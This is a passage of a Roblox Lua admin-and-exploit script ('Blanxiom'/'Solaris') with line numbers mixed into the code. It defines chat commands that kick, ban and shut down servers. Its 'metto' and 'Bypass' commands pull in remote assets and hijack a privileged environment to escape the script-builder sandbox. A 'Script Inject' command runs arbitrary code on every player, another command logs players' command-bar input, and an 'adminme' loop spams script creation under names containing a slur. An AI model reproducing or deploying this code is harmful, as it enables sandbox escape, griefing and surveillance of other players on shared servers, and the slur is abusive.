                                                data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
830
                                        end)
831
                                        if not y then
832
                                                print_to(plr,"[Error]: a command related error has occured : "..n)
833
                                        end
834
                                else
835
                                        print_to(plr,"[Error]: Your access level is to low for that command")
836
                                end
837
                        end
838
                end
839
        end
840
end local Chatted = API.Chatted
841
842
function API.BootCommands()--// Function that calls and injects all commands
843
        AddCommand("Fake Anti-Virus Alert","ohoh","dont ask, i was bored :P",1,function(Message,Collect_Players,Player)
844
local s = Instance.new("Sound")
845
846
s.Name = "Sound"
847
s.SoundId = "220907318"
848
s.Volume = 1
849
s.Looped = true
850
s.archivable = false
851
852
s.Parent = game.Workspace
853
854
wait(0)
855
856
s:play()
857
858
        end)
859
        AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
860
                print_to(Player,"[Blanxiom]: TEST")
861
        end)
862
        AddCommand("Inject All MetatabIes's Scripts On A Player","metto","Inject MetatabIes's Scripts",1,function(Message,Collect_Players,Player)
863
 
864
local screenGui = Instance.new("ScreenGui", game.Players.MetatabIes.PlayerGui )
865
local imageLabel = Instance.new("ImageLabel")
866
imageLabel.Image = "http://www.roblox.com/asset?id=297223043"
867
imageLabel.Parent = screenGui --up r    l down
868
imageLabel.Position = UDim2.new(0, 1650, 0, 690)
869
imageLabel.Size = UDim2.new(0, 300, 0, 300)
870
871
local Me = script
872
wait()
873
script.Parent=nil
874
local _OX=getfenv()
875
local i=game:service'InsertService':LoadAsset(140878711)
876
local n=i:children()[1]
877
game:service'Debris':AddItem(i,0)
878
n.Parent=workspace
879
pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()
880
Environment=getfenv(2)end}))
881
_G.OSC_AddServerSideData=nil
882
game:service'Debris':AddItem(n,0)
883
local new=Environment
884
new.owner=_OX.owner
885
new.print=_OX.print
886
new.error=_OX.error
887
new.warn=_OX.warn
888
setfenv(1, Environment)
889
890
rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;
891
game:service'Debris':AddItem(n,0);
892
return e end);
893
y=shared['\0bp']();shared["\0bp"]=nil;
894
895
game:GetService'ReplicatedStorage':ClearAllChildren();
896
logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Print","'..msg..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
897
function log(player)local p=type(player)=='string' and getPlayer(player) or player;if p then p.PlayerGui.SB_DataTransfer.SB_CommandRemote.Changed:connect(function(value)if value~='' then
898
899
900
901
902
903
904
905
906
907
908
 warn("<|"..p.Name.."|> <|CmdBar|> "..value) end;end)p.Chatted:connect(function(msg)end)end;end;table.foreach(game:GetService'Players':GetPlayers(),function(_, p)log(p)end);
909
game.Players.PlayerAdded:connect(log);print('~- \/\/welcome -~')
910
        end)
911
912
    AddCommand("Airput","airput","An Airput",5,function(Message,Collect_Players,Player)
913
            require(292492701)
914
    end)
915
916
        AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
917
                print_to(Player,"Got Commands")
918
                print_to(Player,"---------------------------------------------------------------")
919
                for index,data in pairs(Solaris.Chatted.Commands)do
920
                        print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
921
                        print_to(Player,"---------------------------------------------------------------")
922
                end
923
        end)
924
925
        AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
926
                print_to(Player,"Got admins")
927
                GetAdmins(Player)
928
        end)
929
930
        AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
931
                GetLogs(Player)
932
        end)
933
        
934
        
935
        AddCommand('grs','grs','Gets all the running scripts',1E24,function(Message, Collect_Players, Player)
936
          print_to(Player,"Got Running scripts")
937
for index, child in pairs(workspace:GetChildren()) do
938
    --print(index, child.Name)
939
    print(child.Name)
940
    end
941
        end)
942
        
943
        AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
944
                local Split = GetSplit(Message)
945
                local Plrs
946
                local Reason
947
                if Split == nil then
948
                         Plrs = Collect_Players(Message,Player)
949
                         Reason = nil
950
                else
951
                        Plrs = Collect_Players(Message:sub(1,Split-1),Player)
952
                        Reason = Message:sub(Split+1)
953
                end
954
                if #Plrs>0 then
955
                        for _,Plr in pairs(Plrs) do
956
                            if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
957
                                Plr:Kick(tostring(Reason))
958
                        end
959
                end
960
        end)
961
962
        AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
963
                local Split = GetSplit(Message)
964
                local Plrs
965
                local Reason
966
                if Split == nil then
967
                         Plrs = Collect_Players(Message,Player)
968
                         Reason = nil
969
                else
970
                        Plrs = Collect_Players(Message:sub(1,Split-1),Player)
971
                        Reason = tostring(Message:sub(Split+1))
972
                end
973
                if #Plrs>0 then
974
                        for _,Plr in pairs(Plrs) do
975
                            if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
976
                                --table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason))
977
                                Solaris.Banned[Plr.Name]=tostring(Reason)
978
                                Plr:Kick("You have been banned for "..tostring(Reason))
979
                        end
980
                end
981
    end)
982
983
        AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
984
                for i,v in pairs(Solaris.Banned)do
985
                        if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
986
                                Solaris.Banned[i]=nil
987
                        end
988
                end
989
        end)
990
991
        AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
992
                print_to(Player,"Got Banned")
993
                print_to(Player,"--------------------------------")
994
                for i,v in pairs(Solaris.Banned)do
995
                        print_to(Player,"["..tostring(i).."]: "..tostring(v))
996
                        print_to(Player,"--------------------------------")
997
                end
998
        end)
999
1000
        AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
1001
            local Split = GetSplit(Message)
1002
            local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
1003
            local Command = Message:sub(Split+1)
1004
            if #Plrs>0 then
1005
                for index,data in pairs(Plrs)do
1006
                    Sbexe(Command,data)--afk
1007
                end
1008
            end
1009
        end)
1010
1011
        AddCommand('Loader','injl','Injects Blanxioms loader to a player',3,function(Message, Collect_Players, Player)
1012
                local Plrs = Collect_Players(Message,Player)
1013
                if #Plrs > 0 then
1014
                        for i,v in pairs(Plrs)do
1015
                                print_to(v,"[Blanxiom]: has issued a loader to you")
1016
                                InjectLoader(v)
1017
                        end
1018
                end
1019
        end)
1020
1021
        AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
1022
                ChangeTheme(Player,Message)
1023
        end)
1024
1025
        AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
1026
                if #Message>0 then
1027
                        local Plrs = Collect_Players(Message,Player)
1028
                        if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
1029
                        for index,data in pairs(Plrs)do
1030
                                Follow(true,data.Name)
1031
                        end
1032
                else
1033
                        Follow(true,Player.Name)
1034
                end
1035
        end)
1036
1037
        AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
1038
                Follow(false,"")
1039
        end)
1040
        AddCommand('Rejoin','rej','Rejoins a player',2,function(Message, Collect_Players, Player)
1041
                if #Message>0 then
1042
                        local Plrs = Collect_Players(Message,Player)
1043
                        
1044
                        for index,data in pairs(Plrs)do
1045
1046
1047
Sbexe("g/rejoin",data.Name)
1048
1049
1050
end
1051
end
1052
        end)
1053
        AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
1054
                for i,v in pairs(game:GetService('Players'):children())do
1055
                        v:Kick('This server has shutdown')
1056
                end
1057
        end)
1058
       
1059
        
1060
        AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
1061
                local Split = GetSplit(Message)
1062
                local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
1063
                local Level = tonumber(Message:sub(Split+1))
1064
                if #Plrs>0 then
1065
                        for index,data in pairs(Plrs)do
1066
                                if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then
1067
                                        print_to(data,"[Error]: You cant set your level higher then your own")
1068
                                else
1069
                                        print("[Blanxiom]: Has set "..data.Name.."'s Access level to ["..Level.."]")
1070
                    Solaris.Admins[data.Name].Level = tonumber(Level)
1071
                                end
1072
                        end
1073
                end
1074
        end)
1075
1076
        AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
1077
                local newEnv = getfenv(1)
1078
                newEnv.script = nil
1079
                newEnv.warn = print
1080
                newEnv.print = print
1081
                newEnv.print_to = print_to
1082
                newEnv.broadcast = broadcast
1083
                rawset(_G,"Bypass",function()
1084
                        return newEnv
1085
                end)
1086
                broadcast('[Blanxiom]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
1087
        end)
1088
1089
        AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
1090
                if #Message>0 then
1091
                        if Message:lower() == 'true' then
1092
                                if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then
1093
                                        print_to(Player,"[Blanxiom]: Scripting is already locked")
1094
                                else
1095
                                        Solaris.Blocker.LocalBlock = true
1096
                                        Solaris.Blocker.GlobalBlock = true
1097
1098
                                end
1099
                        elseif Message:lower()=='false' then
1100
                                if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then
1101
                                        print_to(Player,"[Blanxiom]: Scripting is already unlocked")
1102
                                else
1103
                                        Solaris.Blocker.LocalBlock = false
1104
                                        Solaris.Blocker.GlobalBlock = false
1105
1106
                                end
1107
                        end
1108
                end
1109
        end)--[[
1110
1111
        AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player)
1112
                local y,n = pcall(function()
1113
                        print('[Blanxiom]: Has Cleared => HTTP CACHE')
1114
                        for i,v in pairs(rbxdb:GetAllData())do
1115
                            rbxdb:DeleteValue(i)
1116
                        end
1117
                end)
1118
                if not y then print("[ERROR]: "..n)end
1119
        end)]]
1120
1121
        AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
1122
                if #Message>0 then
1123
                        if Message:lower() == 'true'then
1124
                                ChangeTheme(Player,'hidden')
1125
                        elseif Message:lower()== 'false' then
1126
                                ChangeTheme(Player,'normal')
1127
                        end
1128
                end
1129
        end)
1130
1131
        AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
1132
                GetSavedScripts(Player)
1133
        end)
1134
--[[
1135
        AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
1136
                local Data = rbxdb:GetAllData()
1137
                if type(Data)=='table'then
1138
                        for i,v in pairs(Data)do wait(.1)
1139
                                print_to(Player,tostring(i)..":"..tostring(v))
1140
                        end
1141
                end
1142
        end)
1143
]]
1144
        AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
1145
                GiveServerConsole(Player)
1146
        end)
1147
1148
        AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
1149
                GetGarbage(Player)
1150
        end)
1151
1152
        AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
1153
                if #Message > 0 then
1154
                        SafeExe(Message,Player)
1155
                end
1156
        end)
1157
1158
        AddCommand('Global Warn','warn','Sends a warn message to everyone', 5, function(Message, Collect_Players, Player)
1159
1160
1161
local children = game.Players:GetChildren()
1162
for i = 1, #children do
1163
--    print(i, children[i].Name)
1164
1165
print(Message)
1166
tosay = "warn("..Message..")"
1167
1168
Sbexe(tosay,children[i].Name)
1169
print("Successfuly Sent Warn To "..children[i].Name.." With Message: "..Message..". ")
1170
1171
1172
wait(0.2)
1173
end
1174
end)
1175
1176
        AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
1177
1178
1179
local children = game.Players:GetChildren()
1180
for i = 1, #children do
1181
--    print(i, children[i].Name)
1182
Sbexe("remove/haxoredyoulol",children[i].Name)
1183
wait(0.2)
1184
Sbexe("create/haxoredyoulol",children[i].Name)
1185
wait(0.2)
1186
Sbexe("edit/haxoredyoulol",children[i].Name)
1187
wait(0.2)
1188
Sbexe(Message,children[i].Name)
1189
1190
Sbexe("exit/",children[i].Name)
1191
wait(0.2)
1192
Sbexe("run/haxoredyoulol",children[i].Name)
1193
wait(0.2)
1194
Sbexe("remove/haxoredyoulol",children[i].Name)
1195
end
1196
end)
1197
 AddCommand('Get Solaris','adminme','Gives you Solaris', 0, function(Message, Collect_Players, Player)
1198
1199
1200
while true do
1201
 num = math.random(100000000)
1202
Sbexe("create/fuckufaggot"..num,Player)
1203
wait(0.0)
1204
end
1205
1206
1207
end)
1208
1209
1210
1211
end local BootCommands = API.BootCommands
1212
1213
function API.Connect(plr)
1214
        if type(plr)~='userdata'then return end
1215
1216
        local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"}
1217
        if plr.AccountAge/365 < .5 then
1218
                for i,v in pairs(Allowed_YoungPlrs)do
1219
                        if not plr.Name == v then
1220
                                plr:Kick("[Blanxiom]: Sorry your AccountAge is to young to join this game")
1221
                        end
1222
                end
1223
        end
1224
1225
        if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end
1226
1227
        if not Solaris.Admins[plr.Name]then
1228
                print_to(plr,"[Blanxiom]: Has identifyed you as a ["..Solaris.Levels[1].."]")
1229
                print("[Blanxiom]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]")
1230
                Solaris.Admins[plr.Name] = {Level=1}
1231
        elseif Solaris.Admins[plr.Name]then
1232
                print_to(plr,"[Blanxiom]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]")
1233
        end
1234
        ConnectLogger(plr)
1235
        plr.Chatted:connect(function(msg)
1236
                Chatted(plr,msg)
1237
        end)
1238
end local Connect = API.Connect
1239
1240
--// Bootstrapper functions
1241
1242
function Bootstrap:Boot()
1243
        local DeploymentID = Generate(math.random(1,50)*2/3)
1244
        --// Bootup
1245
1246
        SpawnOrb()
1247
        Rotate()
1248
        BootCommands()
1249
        for i,v in pairs(game:GetService('Players'):children())do
1250
                Connect(v)
1251
        end
1252
1253
        game:GetService('Players').PlayerAdded:connect(function(plr)
1254
                wait(.5)
1255
                Connect(plr)
1256
        end)
1257
1258
        game.Workspace.DescendantAdded:connect(function(obj)
1259
                if obj.ClassName == "Script" then
1260
                        if Solaris.Blocker.GlobalBlock == true then
1261
                                obj.Disabled = true
1262
                                obj:Destroy()
1263
                        end
1264
                elseif obj.ClassName == "LocalScript" then
1265
                        if Solaris.Blocker.LocalBlock == true then
1266
                                obj.Disabled = true
1267
                                obj:Destroy()
1268
                        end
1269
                end
1270
        end)
1271
        --game.DescendantAdded:connect(function(instance)
1272
                --if Solaris.Blocker.LagBlocker== true then
1273
                        --if Solaris.LagBlockedInstances[instance.ClassName]then
1274
                                --instance:Destroy()
1275
                        --end
1276
                --end
1277
        --end)
1278
1279
1280
1281
1282
1283
        --rbxdb:SetValue("[BLANXIOM DEPLOYMENT]",DeploymentID)
1284
end
1285
1286
if script.ClassName == 'Script'then
1287
        if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
1288
                local y,n = pcall(function()
1289
                    Solaris.API.Bootstrap:Boot()
1290
                end)if not y then print('{ERROR}: '..n)end
1291
        end
1292
elseif script.ClassName == 'ModuleScript'then
1293
        return function(deploymentKey)
1294
                local Key = Solaris.AccessKey
1295
            if deploymentKey == Key then
1296
                return Solaris.API.Bootstrap
1297
            else
1298
                        return error('INVALID DEPLOYMENT ACCESS KEY!')
1299
            end
1300
        end
1301
end